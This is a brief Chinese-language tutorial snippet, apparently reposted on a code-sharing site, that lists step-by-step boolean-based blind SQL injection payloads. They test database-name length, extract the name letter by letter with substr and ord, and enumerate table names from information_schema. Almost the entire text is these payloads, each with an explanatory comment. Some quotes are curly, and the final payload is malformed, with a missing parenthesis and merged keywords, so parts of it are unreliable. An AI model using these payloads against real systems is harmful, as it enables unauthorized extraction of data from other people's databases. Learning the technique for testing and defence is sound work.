Boolean (布爾型) 注入攻擊


步驟:
  1' and length(database())>=1--+ //判斷數據庫的長度
  1' and substr(database(),1,1)=‘t’ --+ //判斷數據庫第一個字母的值
  1' and substr(database(),2,1)=‘q’ --+ //判斷數據庫的第二個字母的值
  1' and ord(substr(database(),1,1))=115--+ //利用ord和ASCII判斷數據庫庫名
  1' and substr(database(),2,1)=’q’--+ //利用substr判斷數據庫的庫名
  1' and substr(select table_name from information_schema.table wheretable_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判斷數據庫的表名


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM